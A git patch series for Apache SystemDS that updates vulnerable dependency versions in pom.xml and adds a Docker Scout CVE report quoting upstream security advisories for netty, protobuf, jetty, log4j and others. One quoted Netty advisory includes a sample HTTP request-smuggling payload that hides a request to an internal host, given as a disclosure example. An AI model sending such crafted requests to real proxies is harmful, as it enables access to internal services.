+ +This issue affects Apache Spark versions before 3.4.4, 3.5.2 and 4.0.0. + +Apache Spark versions before 4.0.0, 3.5.2 and 3.4.4 use an insecure default network encryption cipher for RPC communication between nodes. + +When spark.network.crypto.enabled is set to true (it is set to false by default), but spark.network.crypto.cipher is not explicitly configured, Spark defaults to AES in CTR mode (AES/CTR/NoPadding), which provides encryption without authentication. + +This vulnerability allows a man-in-the-middle attacker to modify encrypted RPC traffic undetected by flipping bits in ciphertext, potentially compromising heartbeat messages or application data and affecting the integrity of Spark workflows. + +To mitigate this issue, users should either configure spark.network.crypto.cipher to AES/GCM/NoPadding to enable authenticated encryption or enable SSL encryption by setting spark.ssl.enabled to true, which provides stronger transport security. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.apache.logging.log4j/log4j-core 2.22.1 (maven) + +pkg:maven/org.apache.logging.log4j/log4j-core@2.22.1
+medium 6.3: CVE--2025--68161 Improper Validation of Certificate with Host Mismatch + + + + + + + + +
Affected range>=2.0-beta9
<2.25.3
Fixed version2.25.3
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:L/SA:N
EPSS Score0.112%
EPSS Percentile30th percentile
+ +
Description +
+ +The Socket Appender in Apache Log4j Core versions 2.0-beta9 through 2.25.2 does not perform TLS hostname verification of the peer certificate, even when the [verifyHostName](https://logging.apache.org/log4j/2.x/manual/appenders/network.html#SslConfiguration-attr-verifyHostName) configuration attribute or the [log4j2.sslVerifyHostName](https://logging.apache.org/log4j/2.x/manual/systemproperties.html#log4j2.sslVerifyHostName) system property is set to true. + +This issue may allow a man-in-the-middle attacker to intercept or redirect log traffic under the following conditions: + + * The attacker is able to intercept or redirect network traffic between the client and the log receiver. + * The attacker can present a server certificate issued by a certification authority trusted by the Socket Appender’s configured trust store (or by the default Java trust store if no custom trust store is configured). + + +Users are advised to upgrade to Apache Log4j Core version 2.25.3, which addresses this issue. + +As an alternative mitigation, the Socket Appender may be configured to use a private or restricted trust root to limit the set of trusted certificates. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-servlets 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-servlets@9.4.52.v20230823
+medium 5.3: CVE--2024--9823 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=9.0.0
<9.4.54
Fixed version9.4.54
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.591%
EPSS Percentile69th percentile
+ +
Description +
+ +Description +There exists a security vulnerability in Jetty's DosFilter which can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack on the server using DosFilter. By repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the server's memory finally. + + +Vulnerability details +The Jetty DoSFilter (Denial of Service Filter) is a security filter designed to protect web applications against certain types of Denial of Service (DoS) attacks and other abusive behavior. It helps to mitigate excessive resource consumption by limiting the rate at which clients can make requests to the server. The DoSFilter monitors and tracks client request patterns, including request rates, and can take actions such as blocking or delaying requests from clients that exceed predefined thresholds. The internal tracking of requests in DoSFilter is the source of this OutOfMemory condition. + + +Impact +Users of the DoSFilter may be subject to DoS attacks that will ultimately exhaust the memory of the server if they have not configured session passivation or an aggressive session inactivation timeout. + + +Patches +The DoSFilter has been patched in all active releases to no longer support the session tracking mode, even if configured. + + +Patched releases: + + * 9.4.54 + * 10.0.18 + * 11.0.18 + * 12.0.3 + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.apache.zookeeper/zookeeper 3.8.3 (maven) + +pkg:maven/org.apache.zookeeper/zookeeper@3.8.3
+medium 5.3: CVE--2024--23944 Exposure of Sensitive Information to an Unauthorized Actor + + + + + + + + +
Affected range>=3.8.0
<=3.8.3
Fixed version3.8.4
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
EPSS Score0.028%
EPSS Percentile7th percentile
+ +
Description +
+ +Information disclosure in persistent watchers handling in Apache ZooKeeper due to missing ACL check. It allows an attacker to monitor child znodes by attaching a persistent watcher (addWatch command) to a parent which the attacker has already access to. ZooKeeper server doesn't do ACL check when the persistent watcher is triggered and as a consequence, the full path of znodes that a watch event gets triggered upon is exposed to the owner of the watcher. It's important to note that only the path is exposed by this vulnerability, not the data of znode, but since znode path can contain sensitive information like user name or login ID, this issue is potentially critical. + +Users are recommended to upgrade to version 3.9.2, 3.8.4 which fixes the issue. + +
+
+
+
critical: 0 high: 0 medium: 0 low: 1 org.eclipse.jetty/jetty-xml 9.4.51.v20230217 (maven) + +pkg:maven/org.eclipse.jetty/jetty-xml@9.4.51.v20230217
+low 3.9: GHSA--58qw--p7qm--5rvh Improper Restriction of XML External Entity Reference + + + + + + +
Affected range<=9.4.51
Fixed version9.4.52.v20230823
CVSS Score3.9
CVSS VectorCVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:L
+ +
Description +
+ +### From the reporter + +> `XmlParser` is vulnerable to XML external entity (XXE) vulnerability. +> XmlParser is being used when parsing Jetty’s xml configuration files. An attacker might exploit +> this vulnerability in order to achieve SSRF or cause a denial of service. +> One possible scenario is importing a (remote) malicious WAR into a Jetty’s server, while the +> WAR includes a malicious web.xml. + +### Impact +There are no circumstances in a normally deployed Jetty server where potentially hostile XML is given to the XmlParser class without the attacker already having arbitrary access to the server. I.e. in order to exploit `XmlParser` the attacker would already have the ability to deploy and execute hostile code. Specifically, Jetty has no protection against malicious web application and potentially hostile web applications should only be run on an isolated virtualisation. + +Thus this is not considered a vulnerability of the Jetty server itself, as any such usage of the jetty XmlParser is equally vulnerable as a direct usage of the JVM supplied SAX parser. No CVE will be allocated to this advisory. + +However, any direct usage of the `XmlParser` class by an application may be vulnerable. The impact would greatly depend on how the application uses `XmlParser`, but it could be a denial of service due to large entity expansion, or possibly the revealing local files if the XML results are accessible remotely. + +### Patches +Ability to configure the SAXParserFactory to fit the needs of your particular XML parser implementation have been merged as part of PR #10067 + +### Workarounds +Don't use `XmlParser` to parse data from users. + + + + +
+
+
+
critical: 0 high: 0 medium: 0 low: 1 org.apache.hadoop/hadoop-common 3.3.6 (maven) + +pkg:maven/org.apache.hadoop/hadoop-common@3.3.6
+low 2.0: CVE--2024--23454 Improper Privilege Management + + + + + + + + +
Affected range<3.4.0
Fixed version3.4.0
CVSS Score2
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
EPSS Score0.038%
EPSS Percentile11th percentile
+ +
Description +
+ +Apache Hadoop’s `RunJar.run()` does not set permissions for temporary directory by default. If sensitive data will be present in this file, all the other local users may be able to view the content. This is because, on unix-like systems, the system temporary directory is shared between all local users. As such, files written in this directory, without setting the correct posix permissions explicitly, may be viewable by all other local users. + +
+
+
+
critical: 0 high: 0 medium: 0 low: 0 unspecified: 1lz4 1.9.4-r5 (apk) + +pkg:apk/alpine/lz4@1.9.4-r5?os_name=alpine&os_version=3.20
+unspecified : CVE--2025--62813 + + + + + + +
Affected range<=1.9.4-r5
Fixed versionNot Fixed
EPSS Score0.018%
EPSS Percentile3rd percentile
+ +
Description +
+ + + +
+
+
+ diff --git a/pom.xml b/pom.xml index a2cfc171864..22dc8993729 100644 --- a/pom.xml +++ b/pom.xml @@ -41,7 +41,7 @@ 3.3.6 4.8 - 3.23.4 + 3.25.5 3.5.0 2.12.18 2.12 @@ -98,6 +98,16 @@ --add-opens=java.base/sun.nio.ch=ALL-UNNAMED --add-modules=jdk.incubator.vector + + + 2.14.0 + 1.5.4 + 1.1.10.4 + 1.2.13 + 2.15.0 + 2.4.9 + 9.37.4 + 0.27 @@ -110,6 +120,82 @@ + + + + + + commons-io + commons-io + ${commons-io.version} + + + + org.codehaus.jettison + jettison + ${jettison.version} + + + + org.xerial.snappy + snappy-java + ${snappy-java.version} + + + + ch.qos.logback + logback-core + ${logback.version} + + + ch.qos.logback + logback-classic + ${logback.version} + + + + com.fasterxml.jackson.core + jackson-core + ${jackson.version} + + + com.fasterxml.jackson.core + jackson-databind + ${jackson.version} + + + + net.minidev + json-smart + ${json-smart.version} + + + + com.nimbusds + nimbus-jose-jwt + ${nimbus-jose-jwt.version} + + + + io.airlift + aircompressor + ${aircompressor.version} + + + + org.apache.avro + avro + ${avro.version} + + + + org.apache.kerby + kerb-admin + ${kerby.version} + + + + scm:git:https://github.com/apache/systemds.git HEAD @@ -930,30 +1016,6 @@ - - - - - - org.apache.avro - avro - ${avro.version} - - - - - - - - - - org.apache.kerby - kerb-admin - ${kerby.version} - - - - org.jcuda From 1b079bd6a5154883800e40cf690d42ec8443b3b9 Mon Sep 17 00:00:00 2001 From: anabel-ksp Date: Fri, 16 Jan 2026 14:14:16 +0100 Subject: [PATCH 09/31] [MINOR][SYSTEMDS-3878] Fix additional high-severity CVEs in transitive dependencies This patch extends the security fixes for multiple high-severity CVEs by adding version overrides in dependencyManagement for additional vulnerable transitive dependencies. New version properties and dependencyManagement entries added for: - Netty 4.x components (4.1.124.Final): CVE-2025-55163, CVE-2023-44487 - Jetty components (9.4.57.v20241219): CVE-2024-6763 - xnio-api (3.8.14.Final): CVE-2023-5685 - commons-beanutils (1.11.0): CVE-2025-48734 - dnsjava (3.6.0): CVE-2024-25638 - protobuf-java (3.25.5): CVE-2024-7254 --- .../multiple-high-CVEs/sysds_output8.md | 1741 +++++++++++++++++ pom.xml | 88 +- 2 files changed, 1828 insertions(+), 1 deletion(-) create mode 100644 docker/scout_results/multiple-high-CVEs/sysds_output8.md diff --git a/docker/scout_results/multiple-high-CVEs/sysds_output8.md b/docker/scout_results/multiple-high-CVEs/sysds_output8.md new file mode 100644 index 00000000000..bc79ce01f63 --- /dev/null +++ b/docker/scout_results/multiple-high-CVEs/sysds_output8.md @@ -0,0 +1,1741 @@ + i New version 1.19.0 available (installed version is 1.18.3) at https://github.com/docker/scout-cli + ...Storing image for indexing + ✓ Image stored for indexing + ...Indexing + ✓ Indexed 358 packages + ✗ Detected 23 vulnerable packages with a total of 43 vulnerabilities +

:mag: Vulnerabilities of apache/systemds:latest

+ +
:package: Image Reference apache/systemds:latest + + + + + +
digestsha256:1c5156c201cd2f53f3972f5b93fbfab724d5e33e3c3b2475b808c51a2ba1cb52
vulnerabilitiescritical: 1 high: 10 medium: 29 low: 7 unspecified: 1
platformlinux/amd64
size388 MB
packages358
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
critical: 1 high: 2 medium: 5 low: 0 io.netty/netty 3.10.6.Final (maven) + +pkg:maven/io.netty/netty@3.10.6.Final
+critical 9.1: CVE--2019--20444 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score11.096%
EPSS Percentile93rd percentile
+ +
Description +
+ +HttpObjectDecoder.java in Netty before 4.1.44 allows an HTTP header that lacks a colon, which might be interpreted as a separate header with an incorrect syntax, or might be interpreted as an "invalid fold." + +
+
+ +high 7.5: CVE--2021--37137 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score2.383%
EPSS Percentile85th percentile
+ +
Description +
+ +### Impact +The Snappy frame decoder function doesn't restrict the chunk length which may lead to excessive memory usage. Beside this it also may buffer reserved skippable chunks until the whole chunk was received which may lead to excessive memory usage as well. + +This vulnerability can be triggered by supplying malicious input that decompresses to a very big size (via a network stream or a file) or by sending a huge skippable chunk. + +### Impact + +All users of SnappyFrameDecoder are affected and so the application may be in risk for a DoS attach due excessive memory usage. + +### References +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L79 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L171 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L185 + +
+
+ +high 7.5: CVE--2021--37136 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.021%
EPSS Percentile77th percentile
+ +
Description +
+ +### Impact +The Bzip2 decompression decoder function doesn't allow setting size restrictions on the decompressed output data (which affects the allocation size used during decompression). + + +All users of Bzip2Decoder are affected. The malicious input can trigger an OOME and so a DoS attack + +### Workarounds +No workarounds other than not using the `Bzip2Decoder` + +### References + +Relevant code areas: + +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L80 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L294 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L305 + +
+
+ +medium 6.5: CVE--2021--43797 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
EPSS Score0.420%
EPSS Percentile61st percentile
+ +
Description +
+ +### Impact + +Netty currently just skips control chars when these are present at the beginning / end of the header name. We should better fail fast as these are not allowed by the spec and could lead to HTTP request smuggling. + +Failing to do the validation might cause netty to "sanitize" header names before it forward these to another remote system when used as proxy. This remote system can't see the invalid usage anymore and so not do the validation itself. + + + +
+
+ +medium 6.2: CVE--2021--21290 Creation of Temporary File With Insecure Permissions + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.2
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.026%
EPSS Percentile7th percentile
+ +
Description +
+ +### Impact + +When netty's multipart decoders are used local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk is enabled. + +The CVSSv3.1 score of this vulnerability is calculated to be a [6.2/10](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N&version=3.1) + +### Vulnerability Details + +On unix-like systems, the temporary directory is shared between all user. As such, writing to this directory using APIs that do not explicitly set the file/directory permissions can lead to information disclosure. Of note, this does not impact modern MacOS Operating Systems. + +The method `File.createTempFile` on unix-like systems creates a random file, but, by default will create this file with the permissions `-rw-r--r--`. Thus, if sensitive information is written to this file, other local users can read this information. + +This is the case in netty's `AbstractDiskHttpData` is vulnerable. + +https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L80-L101 + +`AbstractDiskHttpData` is used as a part of the `DefaultHttpDataFactory` class which is used by `HttpPostRequestDecoder` / `HttpPostMultiPartRequestDecoder`. + +You may be affected by this vulnerability your project contains the following code patterns: + +```java +channelPipeline.addLast(new HttpPostRequestDecoder(...)); +``` + +```java +channelPipeline.addLast(new HttpPostMultiPartRequestDecoder(...)); +``` + +### Patches + +This has been patched in version `4.1.59.Final`. + +### Workarounds + +Specify your own `java.io.tmpdir` when you start the JVM or use `DefaultHttpDataFactory.setBaseDir(...)` to set the directory to something that is only readable by the current user. + +### References + + - [CWE-378: Creation of Temporary File With Insecure Permissions](https://cwe.mitre.org/data/definitions/378.html) + - [CWE-379: Creation of Temporary File in Directory with Insecure Permissions](https://cwe.mitre.org/data/definitions/379.html) + +### Similar Vulnerabilities + +Similar, but not the same. + + - JUnit 4 - https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp + - Google Guava - https://github.com/google/guava/issues/4011 + - Apache Ant - https://nvd.nist.gov/vuln/detail/CVE-2020-1945 + - JetBrains Kotlin Compiler - https://nvd.nist.gov/vuln/detail/CVE-2020-15824 + +### For more information +If you have any questions or comments about this advisory: +* Open an issue in [netty](https://github.com/netty/netty) +* Email us [here](mailto:netty-security@googlegroups.com) + +### Original Report + +> Hi Netty Security Team, +> +> I've been working on some security research leveraging custom CodeQL queries to detect local information disclosure vulnerabilities in java applications. This was the result from running this query against the netty project: +> https://lgtm.com/query/7723301787255288599/ +> +> Netty contains three local information disclosure vulnerabilities, so far as I can tell. +> +> One is here, where the private key for the certificate is written to a temporary file. +> +> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L316-L346 +> +> One is here, where the certificate is written to a temporary file. +> +> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L348-L371 +> +> The final one is here, where the 'AbstractDiskHttpData' creates a temporary file if the getBaseDirectory() method returns null. I believe that 'AbstractDiskHttpData' is used as a part of the file upload support? If this is the case, any files uploaded would be similarly vulnerable. +> +> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L91 +> +> All of these vulnerabilities exist because `File.createTempFile(String, String)` will create a temporary file in the system temporary directory if the 'java.io.tmpdir' system property is not explicitly set. It is my understanding that when java creates a file, by default, and using this method, the permissions on that file utilize the umask. In a majority of cases, this means that the file that java creates has the permissions: `-rw-r--r--`, thus, any other local user on that system can read the contents of that file. +> +> Impacted OS: +> - Any OS where the system temporary directory is shared between multiple users. This is not the case for MacOS or Windows. +> +> Mitigation. +> +> Moving to the `Files` API instead will fix this vulnerability. +> https://docs.oracle.com/javase/8/docs/api/java/nio/file/Files.html#createTempFile-java.nio.file.Path-java.lang.String-java.lang.String-java.nio.file.attribute.FileAttribute...- +> +> This API will explicitly set the posix file permissions to something safe, by default. +> +> I recently disclosed a similar vulnerability in JUnit 4: +> https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp +> +> If you're also curious, this vulnerability in Jetty was also mine, also involving temporary directories, but is not the same vulnerability as in this case. +> https://github.com/eclipse/jetty.project/security/advisories/GHSA-g3wg-6mcf-8jj6 +> +> I would appreciate it if we could perform disclosure of this vulnerability leveraging the GitHub security advisories feature here. GitHub has a nice credit system that I appreciate, plus the disclosures, as you can see from the sampling above, end up looking very nice. +> https://github.com/netty/netty/security/advisories +> +> This vulnerability disclosure follows Google's [90-day vulnerability disclosure policy](https://www.google.com/about/appsecurity/) (I'm not an employee of Google, I just like their policy). Full disclosure will occur either at the end of the 90-day deadline or whenever a patch is made widely available, whichever occurs first. +> +> Cheers, +> Jonathan Leitschuh + +
+
+ +medium 5.9: CVE--2021--21409 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score2.547%
EPSS Percentile85th percentile
+ +
Description +
+ +### Impact +The content-length header is not correctly validated if the request only use a single Http2HeaderFrame with the endStream set to to true. This could lead to request smuggling if the request is proxied to a remote peer and translated to HTTP/1.1 + +This is a followup of https://github.com/netty/netty/security/advisories/GHSA-wm47-8v5p-wjpj which did miss to fix this one case. + +### Patches +This was fixed as part of 4.1.61.Final + +### Workarounds +Validation can be done by the user before proxy the request by validating the header. + +
+
+ +medium 5.9: CVE--2021--21295 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score0.360%
EPSS Percentile58th percentile
+ +
Description +
+ +### Impact +If a Content-Length header is present in the original HTTP/2 request, the field is not validated by `Http2MultiplexHandler` as it is propagated up. This is fine as long as the request is not proxied through as HTTP/1.1. +If the request comes in as an HTTP/2 stream, gets converted into the HTTP/1.1 domain objects (`HttpRequest`, `HttpContent`, etc.) via `Http2StreamFrameToHttpObjectCodec `and then sent up to the child channel's pipeline and proxied through a remote peer as HTTP/1.1 this may result in request smuggling. + +In a proxy case, users may assume the content-length is validated somehow, which is not the case. If the request is forwarded to a backend channel that is a HTTP/1.1 connection, the Content-Length now has meaning and needs to be checked. + +An attacker can smuggle requests inside the body as it gets downgraded from HTTP/2 to HTTP/1.1. A sample attack request looks like: + +``` +POST / HTTP/2 +:authority:: externaldomain.com +Content-Length: 4 + +asdfGET /evilRedirect HTTP/1.1 +Host: internaldomain.com +``` + +Users are only affected if all of this is `true`: + * `HTTP2MultiplexCodec` or `Http2FrameCodec` is used + * `Http2StreamFrameToHttpObjectCodec` is used to convert to HTTP/1.1 objects + * These HTTP/1.1 objects are forwarded to another remote peer. + + +### Patches +This has been patched in 4.1.60.Final + +### Workarounds +The user can do the validation by themselves by implementing a custom `ChannelInboundHandler` that is put in the `ChannelPipeline` behind `Http2StreamFrameToHttpObjectCodec`. + +### References +Related change to workaround the problem: https://github.com/Netflix/zuul/pull/980 + +
+
+ +medium : CVE--2019--20445 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
EPSS Score2.837%
EPSS Percentile86th percentile
+ +
Description +
+ +HttpObjectDecoder.java in Netty before 4.1.44 allows a Content-Length header to be accompanied by a second Content-Length header, or by a Transfer-Encoding header. + +
+
+
+
critical: 0 high: 4 medium: 2 low: 0 com.google.protobuf/protobuf-java 3.7.1 (maven) + +pkg:maven/com.google.protobuf/protobuf-java@3.7.1
+high 8.7: CVE--2024--7254 Improper Input Validation + + + + + + + + +
Affected range<3.25.5
Fixed version3.25.5
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.085%
EPSS Percentile25th percentile
+ +
Description +
+ +### Summary +When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash. + +Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team + +Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. + +### Severity +[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) +This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker. + +### Proof of Concept +For reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness. + +### Remediation and Mitigation +We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: +* protobuf-java (3.25.5, 4.27.5, 4.28.2) +* protobuf-javalite (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) +* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2) + +
+
+ +high 7.5: CVE--2022--3510 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.073%
EPSS Percentile22nd percentile
+ +
Description +
+ +A parsing issue similar to CVE-2022-3171, but with Message-Type Extensions in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. + +
+
+ +high 7.5: CVE--2022--3509 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile33rd percentile
+ +
Description +
+ +A parsing issue similar to CVE-2022-3171, but with textformat in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. + +
+
+ +high 7.5: CVE--2021--22569 Incorrect Behavior Order + + + + + + + + +
Affected range<3.16.1
Fixed version3.16.1
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.291%
EPSS Percentile52nd percentile
+ +
Description +
+ +## Summary + +A potential Denial of Service issue in protobuf-java was discovered in the parsing procedure for binary data. + +Reporter: [OSS-Fuzz](https://github.com/google/oss-fuzz) + +Affected versions: All versions of Java Protobufs (including Kotlin and JRuby) prior to the versions listed below. Protobuf "javalite" users (typically Android) are not affected. + +## Severity + +[CVE-2021-22569](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22569) **High** - CVSS Score: 7.5, An implementation weakness in how unknown fields are parsed in Java. A small (~800 KB) malicious payload can occupy the parser for several minutes by creating large numbers of short-lived objects that cause frequent, repeated GC pauses. + +## Proof of Concept + +For reproduction details, please refer to the oss-fuzz issue that identifies the specific inputs that exercise this parsing weakness. + +## Remediation and Mitigation + +Please update to the latest available versions of the following packages: + +- protobuf-java (3.16.1, 3.18.2, 3.19.2) +- protobuf-kotlin (3.18.2, 3.19.2) +- google-protobuf [JRuby gem only] (3.19.2) + + +
+
+ +medium 5.7: CVE--2022--3171 Improper Input Validation + + + + + + + + +
Affected range<3.16.3
Fixed version3.16.3
CVSS Score5.7
CVSS VectorCVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.078%
EPSS Percentile24th percentile
+ +
Description +
+ +## Summary +A potential Denial of Service issue in `protobuf-java` core and lite was discovered in the parsing procedure for binary and text format data. Input streams containing multiple instances of non-repeated [embedded messages](http://developers.google.com/protocol-buffers/docs/encoding#embedded) with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. + +Reporter: [OSS Fuzz](https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=48771) + +Affected versions: This issue affects both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. + +## Severity + +[CVE-2022-3171](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3171) Medium - CVSS Score: 5.7 (NOTE: there may be a delay in publication) + +## Remediation and Mitigation + +Please update to the latest available versions of the following packages: + +protobuf-java (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-javalite (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-kotlin (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-kotlin-lite (3.21.7, 3.20.3, 3.19.6, 3.16.3) +google-protobuf [JRuby gem only] (3.21.7, 3.20.3, 3.19.6) + + +
+
+ +medium 5.5: CVE--2021--22570 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range<3.15.0
Fixed version3.15.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.150%
EPSS Percentile36th percentile
+ +
Description +
+ +Nullptr dereference when a null char is present in a proto symbol. The symbol is parsed incorrectly, leading to an unchecked call into the proto file's name during generation of the resulting error message. Since the symbol is incorrectly parsed, the file is nullptr. + +
+
+
+
critical: 0 high: 1 medium: 2 low: 0 openssl 3.3.3-r0 (apk) + +pkg:apk/alpine/openssl@3.3.3-r0?os_name=alpine&os_version=3.20
+high : CVE--2025--9230 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.026%
EPSS Percentile7th percentile
+ +
Description +
+ + + +
+
+ +medium : CVE--2025--9231 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.016%
EPSS Percentile3rd percentile
+ +
Description +
+ + + +
+
+ +medium : CVE--2025--9232 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.028%
EPSS Percentile7th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 1 medium: 1 low: 0 org.eclipse.jetty/jetty-server 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-server@9.4.52.v20230823
